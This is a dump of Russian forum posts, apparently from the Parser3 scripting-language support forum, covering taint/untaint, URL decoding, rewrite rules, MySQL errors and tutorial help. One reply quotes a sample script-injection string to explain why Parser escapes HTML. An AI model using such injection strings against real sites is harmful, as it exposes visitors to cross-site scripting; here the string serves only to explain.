    -f config_file  Use this config file (/path/to/auto.p)\
    -h              Display usage information (this message)\
[/code]\
размер --- 520 килобайт (после [i]strip parser3[/i]). \
Если кто-нибудь напишет пару слов о сборке с XML, то могу собрать и С. ;-) \
Тебе куда? ;-) \
\
(Вообще могу заметить, что по правилам безопасности использовать такие вот версии от настолько вот \"знакомых\" не рекомендуется... ;-) )"
"17309","У вас что, простого ImageMagick нет?"
"17310","$1[%E0%C0%CD%EE%E2%E0%FF]\
^untaint[uri]{$1}"
"17311","> Если кто-нибудь напишет пару слов о сборке с XML, то могу собрать и С. ;-) \
\
А это сложно? Вообще-то мне надо...\
\
> Тебе куда? ;-) \
\
Нельзя выложить для скачивания? Или, может, зашли ПАФу - пусть на этом сайте в раздел \"для скачивания\" разместит вместо предыдущего варианта с ошибками. Если все мимо - зашли на мейл: asharky<dog>opensea.ru\
\
> (Вообще могу заметить, что по правилам безопасности использовать такие вот версии от настолько вот \"знакомых\" не рекомендуется... ;-)\
\
Думаешь \"за нами постоянно следят\"? Мне так не показалось - мы никому не интересны :)\
"
"17312","Warning: mysql_connect() [function.mysql-connect]: Can't connect to local MySQL server through socket '/var/lib/mysql/mysql.sock' (111) in /home/flashmaster/engine/db_mysql.php on line 42\
\
Warning: mysql_select_db(): supplied argument is not a valid MySQL-Link resource in /home/flashmaster/engine/db_mysql.php on line 49\
\
Warning: mysql_connect() [function.mysql-connect]: Can't connect to local MySQL server through socket '/var/lib/mysql/mysql.sock' (111) in /home/flashmaster/engine/db_mysql.php on line 42\
\
\
Warning: mysql_query(): supplied argument is not a valid MySQL-Link resource in /home/flashmaster/engine/db_mysql.php on line 95\
\
Warning: mysql_query(): supplied argument is not a valid MySQL-Link resource in /home/flashmaster/engine/db_mysql.php on line 95\
\
Warning: mysql_close(): no MySQL-Link resource supplied in /home/flashmaster/engine/db_mysql.php on line 218\
НОВОСТИ 	\
   Поиск в разделе\
\
\
Warning: mysql_query(): supplied argument is not a valid MySQL-Link resource in /home/flashmaster/engine/db_mysql.php on line 95"
"17313","А ресайз превью картинок вы чем предполагаете делать? Встроенные готовые в ImageMagick решения по уменьшению мне не доступны, и владелиц хостинга ни в какую не желает их ставить, приходится использовать Perl для реализации функций ImageMagick.\
Cобственно я и не жалею об этом. Зато я опробовал практически все функции, которые способен дать ImageMagick и с легкостью смогу сделать grayscale preview, или нанести надпись (логотип) любым шрифтом на любое изображение и в любом месте.\
Я считаю что не очень то хорошо замыкаться на готовых решениях, всегда нужно стремиться к большему.\
По поводу кода уже писал, поэтому повторяться не буду."
"17316","Недавно скачал новый PHP (4.3.2, вышел, кажется, 28 мая после 4 резиз-кандидатов).\
Обидно: PHP я почти не пользуюсь (чтобы только был под рукой), в основном Parser3, но PHP живет и развивается, а последний parser вышел, кажется, около пол-года назад.\
"
"17317","раз в неделю примерно.\
\
хорошо хоть саппорт исправляет быстро."
"17318","untain это [b]не[/b] обратная по отношению к taint операция...\
\
подробности есть в доке и примерах."
"17320","Если мне не изменяет память, а она теперь часто подводит, что когда под новый год вышло несколько сразу версий - одна за другой, некоторые тож ругались))"
"17321","скажите где его скачать(если можно прямую ссылку)"
"17322","Этот код работает...\
[code]\
$text[^taint[uri][Новая папка]]\
^taint[as-is][$text]\
[/code]\
\
а вот такой код не работает...\
[code]\
$text[%E0%C0%CD%EE%E2%E0%FF]\
^taint[$text]\
[/code]\
\
как мне превратить %E0%C0%CD%EE%E2%E0%FF в нормальный текст??? пожалуйста приведите пример..."
"17323","file:///C:\\WINNT\\SYSTEM32\\mmc.exe"
"17324","... Но не трудно написать свой раскодировщик используя string.replace\
\
p.s. http://www.parser.ru/forum/?id=6569"
"17325","я могу только догадываться в какую сторону копать (в сторону штирлица чтобы раскодировать, и в сторону taint[uri] если я сам такое сотворил, пытаясь изобразить: <a href=\"...?text=Москва\">ссылка</a> [неправильно] вместо <a href=\"...?text=^taint[uri][Москва]\">ссылка</a>[правильно])\
\
парсер - не декодер абракадабр. все элементы форм/куки он сам декодирует, но ему для этого сообщают кодировку, в которой он байтики хранит, и кодировку, в которой ему все приходит. если ему не сказать об этом, он ничего сделать не сможет.\
\
с той задачей, которую вы ему предлагаете, он справиться не может.\
\
однако написать таблицу замен и обработать ей текст его средствами (replace), кодеру вполне по силам."
"17326","как будут исправлены все уже найденые нами баги, он будет выложен."
"17327","рядом с парсер3.цги появляется Очень много файлов core.XXXX. При этом в лог файле ничего нет. И все работает нормально. А эти файлы заполняют ВСЕ место со скоростью 20 мегов в час."
"17331","кстати вопрос: если сервак выпадает с ошибкой 500, то это значит что парсер вконец заломался? Нужно ли сообшать о таких случаях? У меня их было штук 5 за 3 месяца"
"17332","Мне нужно вытянуть, \"запрашиваемый путь из строки запроса\" в первоначальном регистре, вот например запрошен [i]www.site.ru/catalog/papKa/[/i], а мне надо получить [i]/catalog/papKa/[/i]\
\
[b]1 способ с помощью $request:uri[/b], но русское имя папки если запрошена папка с русским именем ([i]например: /catalog/%CD%EE%E2%E0%FF%20%EF%E0%EF%EA%E0/, полученная <a href=\"^taint[uri][$catalog.name]>...\"[/i]) [кодировка в конфиге указанна] не перекодируется в \"нормальный\" вид, почему?\
\
Есть другое решение... [b]с помощью .htaccess[/b]:\
создать .htaccess с таким срдержанием:\
[code]\
RewriteEngine on\
\
RewriteRule (gif|jpg|js|css|exe|zip|rar|pdf|doc|xls|ppt|swf|ipx|txt|xslt|xsl|tif|eps|tiff|ico|ent|chm|cfm|gz|png)$ - [L]\
\
RewriteCond %{REQUEST_URI} ^/index.html\
RewriteRule .* - [L]\
\
RewriteCond %{REQUEST_URI} ^.*\
RewriteRule (.*) /index.html?uri=$1 [L,QSA]\
[/code]\
тогда $form:uri должна содержать \"запрашиваемый путь\", но если так сделать, то $form:uri будет содержать путь без соблюдения регистра, т.е. вместо [i]/catalog/WeB/[/i] будет содержать [i]/catalog/web/[/i] что не требуется в данной задачи...\
\
Можно ли как-нибудь это реализовать???"
"17334","если тебе нужно перекодировать что-то самому, то составляй табличку перекодирования и replace тебе в руки.\
\
P.S. мое мнение: русские названия каталогов/файлов на web-е - это ужасно, соответственно я никогда даже не думал в этом направлении, и не собираюсь этого делать в ближайшее время."
"17335","Я не особенно понял, о каких решениях вы говорите. Подписи любым шрифтом, изменение размером изображения и т. д. с лёгкостью делается обычным ImageMagick... "
"17336","Название понимет текстом, остальное числами, в любом другом случае говорит следущеее.\
\
Unhandled Exception (Debug)\
invalid number (double)\
qqq\
\
form(1)\
exception.type=number.format \
--------------------------------------------------------------------------------\
if /www/asha.pp.ru/html/admin/shop/index.html(35)\
body_main /www/asha.pp.ru/html/auto.p(78)\
body /www/asha.pp.ru/html/auto.p(10)\
\
Текст того что собственно пытается работать.\
\
@greeting[]\
Система управления сайтом\
\
@body_additional[]\
Админгистрирование Магазина\
\
^admin_navigation[]\
\
@body_main[]\
$now[^date::now[]]\
\
<center> \
<form method=\"POST\"> \
<p> \
Название: <input name=\"name\"> Цена: <input name=\"price\">\
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
</br><br>\
Адрес маленькой картинки: <input name=\"picture1\"> \
</br><br>\
Адрес большой картинки: <input name=\"picture2\">\
</p> \
<p>Body1:<br> \
<textarea cols=\"50\" name=\"body1\" rows=\"5\"></textarea> \
</p> \
<p>Body2:<br> \
<textarea cols=\"50\" name=\"body2\" rows=\"5\"></textarea> \
</p>\
<p> \
<input type=\"submit\" value=\"Add New\" name=\"posted\">&nbsp;&nbsp;&nbsp; \
<input type=\"reset\" value=\"Cancel\"> \
</p> \
</form> \
\
#начало обработки \
^if(def '$form:name' &&  '$form:picture1' &&  '$form:picture2' &&  '$form:body1' &&  '$form:body2' &&  '$form:price'){ \
   ^connect[$connect_string]{ \
      ^void:sql{insert into shop_consumer \
         (name, picture1, picture2, body1, body2, price) \
      values  \
         ('$form:name', '$form:picture1', '$form:picture2', '$form:body1', '$form:body2', '$form:price') \
      } \
      …товар добавлен \
      } \
}{ \
   …для добавления новости необходимо заполнить все поля формы \
} \
</center> \
\
\
id int(10)   PRI   auto_increment \
name varchar(255)   MUL \
picture1 varchar(255) \
picture2 varchar(255) \
body1 blob   (пробовал TXT) \
body2 blob   (пробовал TXT)\
price decimal(10,0)    \
\
\
Великий Чайник :)"
"17337","qqq - это один из параметров, например picture1?\
\
Тогда надо заменить\
[code]\
^if(def '$form:name' &&  '$form:picture1' &&  '$form:picture2' &&  '$form:body1' &&  '$form:body2' &&  '$form:price')\
[/code]\
на\
[code]\
^if(def $form:name && def $form:picture1 && def $form:picture2 && def $form:body1 && def $form:body2 && def $form:price)\
[/code]"
"17339","если PAF попросит --- вышлю. Но я не думаю, что ему оно надо, так что не будем его отвлекать... ;-)"
"17340","Изменил\
и календарь перестал выводить название месяца. Переменная работает как положенно видно по другим ссылка где используется. \
\
хэш не менял как в уроке\
....\
$now[^date::now[]] \
$link_month[\
  ^if(def $form:month){\
  $form:month\
  }{\
  $now.month\
  }]\
....\
\
....\
<td><b>$calendar_locale.month_names.[$link_month]</b></td>\
....\
\
\
С важением Чайник :/"
"17341","P.S. в переменную $link_month тот код, который ты написал, добавляет в начало и в конец символы перевода строк... не в этом ли она у тебя?"
"17342","у вас система убивает процесс и делает дамп памяти процесса в этот файл.\
http://www.parser.ru/forum/?id=13046\
дальше по инструкции...:)"
"17344","Миша, пожалуйста проверьте... достаточно ли этого?\
[code]\
from	to\
%20	 \
%21	!\
%2C	,\
%C0	&#192;\
%E0	&#224;\
%C1	&#193;\
%E1	&#225;\
%C2	&#194;\
%E2	&#226;\
%C3	&#195;\
%E3	&#227;\
%C4	&#196;\
%E4	&#228;\
%C5	&#197;\
%E5	&#229;\
%A8	&#168;\
%B8	&#184;\
%C6	&#198;\
%E6	&#230;\
%C7	&#199;\
%E7	&#231;\
%C8	&#200;\
%E8	&#232;\
%C9	&#201;\
%E9	&#233;\
%CA	&#202;\
%EA	&#234;\
%CB	&#203;\
%EB	&#235;\
%CC	&#204;\
%EC	&#236;\
%CD	&#205;\
%ED	&#237;\
%CE	&#206;\
%EE	&#238;\
%CF	&#207;\
%EF	&#239;\
%D0	&#208;\
%F0	&#240;\
%D1	&#209;\
%F1	&#241;\
%D2	&#210;\
%F2	&#242;\
%D3	&#211;\
%F3	&#243;\
%D4	&#212;\
%F4	&#244;\
%D5	&#213;\
%F5	&#245;\
%D6	&#214;\
%F6	&#246;\
%D7	&#215;\
%F7	&#247;\
%D8	&#216;\
%F8	&#248;\
%D9	&#217;\
%F9	&#249;\
%DA	&#218;\
%FA	&#250;\
%DB	&#219;\
%FB	&#251;\
%DC	&#220;\
%FC	&#252;\
%DD	&#221;\
%FD	&#253;\
%DE	&#222;\
%FE	&#254;\
%DF	&#223;\
%FF	&#255;\
[/code]\
\
Если кому понадобиться, думаю они знают как это использовать..."
"17345","к тому-же, если перекодировать, то по моему надо перекодировать не в цифровые ентити, а в русские буквы (вроде приводились такие условия задачи)"
"17348","Не легче было заменить %EC на &xEC; без таблицы."
"17349","У меня в галерее картинки ресайзятся с помощью ImageMagick.\
Готовые решения - это уже собранные утилиты типа Convert, Composite и т.д. которые тоже в ходят в пакет ImageMagick, но мне они не доступны для вызова на моем хостинге. А так то конечно без вопросов отказался бы от Perl и делал бы все Convert-ом.\
Да, если не трудно, прочтите написанную мной статью в примерах \"Изменение размера графического изображения внешними программами\" и поймете зачем мне Perl."
"17351","То что новый релиз не выходит каждый месяц, совсем не означает того, что парсер не развивается. Тут как раз всё наоборот - релиз не должен выходить чаще чем раз в 3 месяца, а лучше раз в 5-6.\
\
Конечно есть маргиналы, которым каждую неделю нужно что-то новое, - для них есть CVS, там постоянно всё меняется.\
\
Каждый новый релиз действительно должен содержать новые серъёзные улучшения, ради которых стоит делать апгрейд, однако менее чем за 3 месяца вряд ли получится сделать что-либо стоящее - человек не подчиняется закону Мура :)"
"17352","объедините эти два документа перед обработкой.\
самый быстрый способ: считать оба текста, отрезав их заголовки, приделать один на всех <? заголовок и один на всех <!DOCTYPE\
\
и отдать под transform."
"17353","[quote] /catalog/WeB/ будет содержать /catalog/web/[/quote]\
это почему?"
"17354","кому не терпится: берите из CVS и компилируйте.\
\
про core: рядом с вашим были другие сообщения, если не видите, воспользуйтесь, пожалуйста, поиском по форуму."
"17355","Тестирую локально\
WinXP\
Apache 1.3.24, помойму"
"17356","и если вы сейчас вдруг расчитываете по адресу /ABC/ открыть каталог на диске /abc/, то вы призываете на свою голову проблемы, которые упадут на неё при переходе на unix"
"17358","Наоборот, мне надо, чтобы, если запрошен /AbW/, то и открылся этот каталог, а не /abw/, а если использовать 2-ой способ. то $form:uri срдержит /abw/ :("
"17359","Полностью согласен, однако то, что говорится в \"законе Мура\" создают и делают люди."
"17360","возможно, это у вас как-то неправильно срабатывает Multiviews, попробуйте\
[code]Option -Multiviews[/code]\
\
ваш apache: вам и карты в руки.\
и причём тут «наоборот»?!"
"17361","К сожалению закон этот работает только для полупроводниковой техники. Software development немного не из той оперы."
"17362","[quote]если вы расчитываете по адресу /ABC/ открыть каталог на диске /abc/[/quote]\
\
так вот я хочу, чтобы если запрашивается /ABC/, то $form:uri содержал именно /ABC/ а не /abc/"
"17363","1. как понимаю, у вас проблема с rewrite\
2. у rewrite есть журнал его работы\
3. первая ваша мысль: «я включу журнал работы моего rewrite, и посмотрю там»"
"17366","День добрый.\
Никто не делал что-то типа:\
есть строка типа /aa/aaa/nn/hhh\
надо наити позицию последнего символа \"/\"\
Я это сделал с поиощью split, но код\
громоздкий."
"17368","По любому нужно измерить длинну строки\
отрезать кусочек до символа / справа\
замерить длинну кусочка и вычесть ее из общей длины.\
Итого: 4 действия получается\
"
"17369","...в смысле расширить его с 1970-2038 годов на более широкий диапозон? я понимаю, что это ограничение видимо сделано с unixtime, но данный диапозон не даёт возможности работать с датами рождения тех кому сейчас за 40 :), что уже сейчас вызывает определённые неудобства у разработчиков на Парсере :("
"17371","если кто сделает, с радостью приму."
"17372","[code]\
$tbl[^строка.match[\
^^ # начало строки\
(.*)\
(?!/[^^/]*) # после не может быть слеша\
^S # конец строки\
][x]]\
[/code]\
\
в $tbl.1 будет весь текст до последнего слеша, дальше дело техники."
"17373","она не работает, а так работает\
[code]\
$str[^env:REQUEST_URI.match[\
^^ # начало строки\
(.*)\
/\
[^^/]* # после не может быть слеша\
^$ # конец строки\
][x]]\
[/code]\
\
в $str.1 строка до последнего слеша."
"17374","А есть ли в парсере функция для работы с регулярными выражениями ?"
"17377","Может уважаемые разработчики добавят в следующих версиях\
соответствующий метод в класс string?"
"17378","может аргументируете?\
\
для каких задач вам этот метод понадобился? (не надо отвечать, что поиск последнего вхождения символа '/', это и так понятно, для каких [b]реальных[/b] задач?)\
\
"
"17379","Платформа: Win32\
Сервер: Apache 1.3\
Parser: ...0007\
\
Код:\
\
$scorefile[/score.cfg]\
^if(-f $scorefile){\
	$loadedscores[^table::load[$scorefile]]\
	^loadedscores.sort{$loadedscores.name}[desc]\
	^loadedscores.offset[set]($pos)\
	$scores[^table::create[$loadedscores;\
		$.offset[cur]\
		$.limit(30)\
	]]\
	<b>^scores.count[]</b><br>\
	^scores.menu{\
		^scores.line[] $scores.name<br>\
	}\
}\
\
При $pos <= 3 - работает\
При $pos >3 - выдает ошибку: exception in request exception handler: Exception 0xC0000005 at 0x0040E76A\
\
Что я делаю не так?"
"17380","Довольно занудная навигация.\
В зависимости от директории и html`ки меняется содержимое \
навигационных баров. Ну и режу request::uri  "
"17381","http://www.parser.ru/docs/lang/stringmatch.htm\
http://www.parser.ru/docs/lang/stringmatchreplace.htm\
http://www.spearance.ru/parser3/regex/ - копилка регулярных выражений"
"17382","Первое, что сразу бросается в глаза - нужна проверка пустоты\
$loadedscores, если файл пуст, то и сортировать нечего и собственно вообще дальше делать нечего, остальное вроде верно, и должно работать.\
"
"17383","если были найдены серьёзные ошибки, которых, как я могу предположить, уже с десяток, то новый релиз нужно выпускать намного раньше, чем через полгода... "
"17386","по адресу:\
[code]/usr/local/lib/mysql/libmysqlclient.so[/code]\
\
Команду поиска можно запустить так: \
[code]find / -name libmysqlclient.so[/code]\
\
Вообще, libmysqlclient.so нужен только если вы собираетесь использовать СУБД MySQL, если вы не знаете, что это такое, то этот файл вам ни к чему. "
"17387","Скажу только лишь что меня лично, этот десяток совершенно не задевает и проблем я не испытываю. Отсюда вывод - это [b]не[/b]смертельные ошибки."
"17388","Просто я хочу узнать как на Парсере пишутся сайты не професионалами\
\
\
\
\
\
P.S. И всё таки, пожалуйста, скажите, где можно скачать Managment Console(если можно прямую ссылку)"
"17390","В конкретном случае таблица содержит больше 100 записей."
"17391","Я в вопросе вывода картинок ограничился в 120 строк с комментериями + добавление и настройка еще где-то столько же, при желании можно еще уменьшить. Но чтоб 160 страниц... думается мне что 90% из них ни к чему."
"17393","для навигации мне видится достаточным использование ^if(in ...) и ^if(... eq ...)\
\
для работы с именем файла/путем: ^file:basename[], ^file:dirname[], ^file:justname[].\
\
и обычный призыв: приведите ваш код (с комментариями), очень возможно, что вы выбрали не оптимальный путь для решения вашей задачи."
"17394","Как только делаю выборку из таблицы базы MySQL, получаю ошибку 500: Premature end of script headers: .../parser3.cgi\
\
Вот сама строка, которая вызывает ошибку, как видите, ничего эдакого:\
$sql_table[^table::sql{SELECT * FROM glossary}]\
\
При этом само подключение к базе происходит на ура, все работает, кроме запросов. Система - FreeBSD, драйвера к базе установил вроде все.\
\
Подскажите пожалуйста, что можно изменить и проверить."
"17395","что говорит /_test.html (который можно скачать из соотв. раздела)?"
"17396","Извиняюсь, что сразу не упомянул об этом. Я конечно же, установил и запустил файл _test.html. Как и полагается, SELECT выдал ответ 4 на 2+2.\
Единственная ошибка, которая была выведена: \"libmysqlclient.so (не найден)\". Но запрос ведь и без этого файла сработал! Поэтому не могу понять, чем запрос к конкретной таблице провинился, что выдает ошибку.\
"
"17397","Не пойму как правильно записать в файл sections.cfg тблицу которая рассматривается в примере...:(\
\
Вставьте пожалуйста сюда пример правильного кода... "
"17398","Между столбцами — табуляция(TAB), между строками — перевод строки(ENTER)."
"17399","Спасибо, я понял, но теперь опять ерунда какаето...\
Все сделал создал файл sections.cfg и auto.p как написано в документации... и создал файл index.html, вставил туда строчку ^navigation[] \
\
но при открытии index.html в нем ничего не отображается кроме этой строчки: ^navigation[] \
\
короче он что-то не понимает... В чем дело? \
Скачал с вашего сайта Денвер с всторенным языком Parser, все установил."
"17400","объясните ламеру на много проще чем в документации"
"17401","Есть вот xml вот такого типа:\
\
<blabla>\
<text>\
<h></h>\
<p></p>\
</text>\
</blabla>\
\
Мне надо вытащить все, что между <text></text>, включая тэги и запихнуть в форму, чтобы кодер это редактировал.\
\
Чего-то не допру, как это сделать DOMом. Можно, конечно, это пользовать как текст,\
но хочется DOMом, т.к. там еще разные другие поля вытаскиваются?\
"
"17404","Перед техническими специалистами Студии Артемия Лебедева была поставлена задача по разработке системы управления информационными проектами третьего поколения — Imprimatur II. Предыдущие версии были реализованы на языке Parser, созданном силами сотрудников компании. Однако, со временем потребовалась архитектурная перестройка системы, невозможная в рамках имеющихся технологий. В результате поиска оптимального решения Студия Артемия Лебедева выбрала Microsoft Visual Studio .NET.\
\
http://www.microsoft.com/rus/business/casestudies/art_lebedev_studio/\
\
Думаю, не ошибусь, что Парсер - прежде всего внутренний движок Ваших продуктов. Как вы прокомментируете эту статью, какое будущее ждет проект Парсер-а?\
\
\
"
"17405","[code]\
# не забываем подключить lib.p в котором есть метод ^nodeToStr[], \
# преобразующий элемент xnode в его строковое представление\
@USE\
lib.p\
\
\
@main[]\
$text[<blabla>\
<text>\
<h>11</h>\
<p>222</p>\
</text>\
</blabla>]\
\
# создаем объект xdoc, если данные в $text у нас пришли от пользователя/БД, \
# то не забываем использовать нужный taint/untaint\
$doc[^xdoc::create{<?xml version=\"1.0\" encoding=\"$request:charset\" ?>$text}]\
\
# получаем нинтересующий нас элемент, если у нас может быть несколько узлов text, \
# то используем не selectSingle, а просто select и получаем хеш элементов\
$element[^doc.selectSingle[/blabla/text]]\
\
# показываем формочку, не забывая про ^taint[html][]///\
<form>\
<textarea rows=\"8\" cols=\"40\">^taint[html][^nodeToStr[$element]]</textarea>\
</form>\
[/code]\
\
"
"17408","1. что по поводу других запросов? (например: DESC glossary)\
2. что по поводу запросов к другим табличкам?\
3. что по поводу попробовать получить заведомо небольшой набор данных: $sql_table[^table::sql{SELECT * FROM glossary}] -> $sql_table[^table::sql{SELECT id, name FROM glossary}[$.limit(10)]]?\
\
ну и до кучи:\
-версия парсера, драйвера mysql, freebsd\
-если возможно, ссылку на _test.html чтобы посмотреть что именно он сообщает.\
\
P.S. помнится у меня раз были проблемы из-за сильно древнего libmysqlclient.so, установленного в системе, но не помню как именно они проявлялись..."
"17409","Misha v.3, спасибо за внимание к вопросу. У меня все получилось. Беда только в том, что я теперь и не смогу точно сформулировать, где была ошибка, поскольку подправлял понемногу в разных местах. Очевидно, что не в Parsere дело, а, видимо, в неправильном обращении к базе данных.\
Еще раз спасибо."
"17411","и вы уверены, что это была именно 500 ошибка сервера?\
\
дело в том, что если появляется 500 ошибка при работе парсера, то это говорит, что где-то что-то совсем плохо (причем с парсером)\
\
возможно, вы перепутали 500 ошибку сервера и парсерную Unhandled Exception, которые в режиме release (по умолчанию, ее вид задан в конфигурационном auto.p) с первого взгляда очень похожи..."
"17412","Спасибо, я понял, но теперь опять ерунда какаето...\
Все сделал создал файл sections.cfg и auto.p как написано в документации... и создал файл index.html, вставил туда строчку ^navigation[] \
\
но при открытии index.html в нем ничего не отображается кроме этой строчки: ^navigation[] \
\
короче он что-то не понимает... В чем дело? \
Скачал с вашего сайта Денвер с всторенным языком Parser, все установил."
"17413","...и других админ-интерфейсов для управления сайтом, могу сказать, что заменить этот самый вебинтерфейс на специальную софтину - это правильное и гораздо более удобное решение.\
\
Вы обратили внимание, в пресс-релизе - ни слова про выкидывание парсера. Просто констатация факта, что вебинтерфейс для управления сайта - это неудобно. Каким бы удобным вы его не делали бы, сколько бы dhtml-ных штук не прикручивали - всё равно, неудобно. MySQL Front ведь удобнее чем PHPMyAdmin?\
\
Вопрос был в том, на чём оный софт написать. Кто-то юзает Kylix, кто-то Дельфи, Студия выбрала .Net'овский Си. Ну и классно, там куча готовых модулей для работы с сетью, с html и xml, с текстом, например. Не надо писать модуль, отвечающий за редактирование текста или post'ящий данные на сервер - можно взять готовые и сэкономить время. Так что все могут расслабиться и задышать ровнее, эта новость - не про парсер..."
"17414","http://www.parser.ru/download/src/"
"17417","Извиняюсь за долгое молчание. \
>Посмотрите, есть ли у вас папка cgi-bin.\
Нету. :(\
\
Написал письмо своему хостеру, по поводу парсера. Он насчет этой программы не в курсе. Причем вопрос мой, похоже, не совсем понял. Спросил: \"Еще раз. что именно надо? как работает этот парсер? CGI или SSI?\"\
Что ему ответить? CGI?\
\
На вопрос, \"а что у вас там (на сервере) стоит\", ответил следующее:\
 linux, mysql, apache1.3, perl5.8, php4.2.3\
\
Итак, внимание, вопрос!!!! :)\
Какие вопросы задать хостеру и что от него потребовать?\
\
Заранее благодарен за ответ.\
"
"17419","У вас просто не обрабатываеться страница парсером...\
Проверьте лежит ли у вас в корне веб-пространства файл .htaccess\
с таким вот содержанием (для Дэнвера)...\
\
################################################\
\
# Подключение Parser-а для всех .html-страниц \
AddHandler parsed-html html \
Action parsed-html /cgi-glob/parser3/parser3_wrapper.exe\
\
# Запрет на доступ к .p-файлам. Основной: auto.p \
<Files ~ \"\\.p$\"> \
  Order allow,deny \
  Deny from all \
</Files> \
\
################################################"
"17420","открываешь control panel --> folder options --> file types --> new --> указываешь расширения для файлов, кот. будешь юзать для скриптов Парсера, потом в списке типов файлов выбираешь его, нажимаешь change, где тыкаешь ему полный путь к парсеру --> наслаждаешься"
"17421","Как было справедливо отмечено Sanja, речь идет об Imprimatur, который есть система контент-менеджента и к парсеру имеет довольно отдаленное отношение, поскольку основная работа заключается в создании XSL шаблонов, etc. В типичных случаях Imprimatur I не требует никакого знания парсера.\
\
Imprimatur II обладает рядом возможностей, которые невозможны на Imprimatur I. Но подходит он для создания вполне определенного класса проектов и кроме того имеет существенные ограничения по хостингу.\
\
Поэтому продолжается как развитие Imprimatur I, так и совершенствование парсера...\
"
"17423","[code]\
После чего назначьте Parser обработчиком .html страниц: \
1.   Запустите Management Console, нажмите на правую кнопку мыши на названии вашего веб-сервера и выберите Properties. \
2.   Перейдите на вкладку Home directory и в разделе Application settings нажмите на кнопку Configuration… \
3.   В появившемся окне нажмите на кнопку Add. \
4.   В поле Executable введите полный путь к файлу parser3.exe или parser3isapi.dll. \
5.   В поле Extension введите строку .html. \
6.   Включите опцию Check that file exists. \
7.   Нажмите на кнопку OK. \
\
[/code]\
Если да, то скажите для начала, какую винду вы используете? Если 98-ю, то не найдете вы консоль и не скачаете :) если ХР, то панель управления, там администрирование, там будет что-то вроде IIS manager - это и есть консоль."
"17424","Я пишу:\
^MAIN:dbconnect{$nl_messages[^table::sql{select date, header, body from news}]}\
а он:\
\
Unhandled Exception (Debug)\
You have an error in your SQL syntax.  Check the manual that corresponds to your MySQL server version for the right syntax to use near ' date, header, body from news' at line 1\
select date, header, body from news\
\
/www/asha.pp.ru/html/classes/news_lenta.p(8)\
exception.type=sql.execute \
--------------------------------------------------------------------------------\
sql /www/asha.pp.ru/html/classes/news_lenta.p(8)\
connect /www/asha.pp.ru/html/auto.p(14)\
dbconnect /www/asha.pp.ru/html/classes/news_lenta.p(8)\
show_messages /www/asha.pp.ru/html/index.html(12)\
body_main /www/asha.pp.ru/html/auto.p(78)\
body /www/asha.pp.ru/html/auto.p(10)\
\
Что делать?"
"17425","[Wed Jun 11 00:04:00 2003] /gbook/: d:/!/www/gbook/index.html(8): 'gbook' class is undefined [parser.runtime]\
\
\
пробелы после @USE и @CLASS убрал, а все равно не работает. Поиск по форуму не помог. в Чем бага?"
"17427","а вот что у меня говорит и не хочет работать :(((((((((\
\
[Wed Jun 11 00:04:00 2003] /gbook/: d:/!/www/gbook/index.html(8): 'gbook' class is undefined [parser.runtime]\
\
\
пробелы после @USE и @CLASS убрал, а все равно не работает. Поиск по форуму не помог. в Чем бага?\
\
заранее спасибо."
"17430","Перепутать я не мог, у меня в файле .htaccess сделано, что при возникновении ошибки 500 показывается определенный файл, где большими буквами так и написано \"500\".\
Я постараюсь определить, в каком случае эта ошибка у меня возникла и довести до вашего сведения."
"17432","[code]Parser4[/code] наверно появится нескоро, а вот [code]Parser3.0.0008[/code] я надеюсь скоро увидит свет...\
Ждемсь..."
"17433","$name[${form:foto}.name]\
$names[^name.split[\\;rh]] \
^form:foto.save[binary;/news/pic/$names.0] \
\
Он выдает ошибку 'binary' unknown mode, must be 'append'\
"
"17434","Спасибо) НО ему что-то не нравится опять) он выводит:\
\
\
Unhandled Exception (Debug)\
column not found\
uri\
\
z:/home/ex-style/www/auto.p(7)\
exception.type=parser.runtime \
--------------------------------------------------------------------------------\
menu z:/home/ex-style/www/auto.p(5)\
navigation z:/home/ex-style/www/index.html(7)\
"
"17436","Откройте ваш sections.cfg в редакторе и проверьте нет ли пробела перед названием колонки uri? Проверьте вдруг вы заместо uri случайно написали url... Вообще советую работать в редакторе где можно посмотреть невидимые символы... Например UltraEdit 10...\
\
З.Ы. Проблема в файле sections.cfg ..."
"17439","Перед тем, как принять окончательное решение, в Студии Лебедева тщательно проанализировали преимущества и недостатки обоих претендентов. Программисты высоко оценили развитие .NET в целом, легкость написания графических приложений и потенциальную многоплатформенность для серверных приложений. Они отметили, что C# – это улучшенный язык Java, а Net Class Library – более продвинутая библиотека классов, чем Java Class Library.\
\
Прошу прошения, но студия работает на Mac OS а в тексте говориться про «многоплатформенность для серверных приложений». Как в этом случае обстоят дела с «клиентской многоплатформенность»?"
"17440","Значит, все-таки развивается..."
"17441","Установил \"джентельменский набор\". По первому уроку собираю таблицу с навигацией. При открытии в IE файла index.html вместо меню просто текст ^navigation[]. Устанавливаю и запускаю вроде правильно. Обидно."
"17443","Но у нас нет OS, в которой нет клиента для Terminal Service Windows...\
"
"17444","в броузере <h1>xyz</h1> \
в html &lt;h1&gt;Форматирование H1&lt;/h1&gt;\
\
Если обсуждалось, то как искать?\
Если нет то как от этого лечиться?\
А может это благо, просто я непонимаю? :)\
"
"17445","отсюда непонимание.\
вы делаете форум. \
\
я вам туда пишу нечто вроде <script>alert('убей меня') goto again</script>."
"17446","Я хочу постить новости - сам разумеется\
До форума я ещё не дошёл."
"17448","- Мальчик, как тебя зовут?\
- Эээ ... мммм\
- Ты что тормоз?\
- Вася\
- А где здесь метро?\
- Я не тормоз\
\
Надо про taint/untaint почитать :)"
"17449","parser по-умолчанию считает, что вы забудете о проблеме, и помогает вам. прочтите документацию, ключевые слова вам уже посоветовали."
"17451","нужно получить полный URI.\
список переменных окружения нашёл по ссылки(http://www.google.com.ru/search?q=cache:pqitqxSBW3cJ:www.atomicdesigns.net/adime/perl/lists/env.html+cgi+enviroment+variables&hl=ru&ie=UTF-8), так вот достучаться до переменной не могу.\
и вот что-то $request:body ничего не выводит....\
\
\
"
"17452","только в чем тайный смысл его использования? ;)"
"17453","Разрабатываю сайт на движке Парсера. Структура всех страниц одинаковая, пратически все классически, как в документации. Основной блок станицы описывается соответствующим методом. Вроде бы все работает. Проблема: есть уже готовый раздел (например форум), который писан на PHP. Можно ли (а если можно то как) \"запихнуть\" его в общую стуктуру и как быть с передачей параметров? Если встречались подобные вопросы, будте добры, дайте ссылку. Заранее спасибо!"
"17454","На мой взгляд лучше потратить немного сил и времени на то, чтобы сделать самому форум на парсере.\
Пусть не такой функциональный как PhPBB или тому подобные, зато свой &mdash; родной !\
И потом можно забыть о неудобствах связанных с несовместимостью и всем прочем.\
Хотя кому как нравиться..."
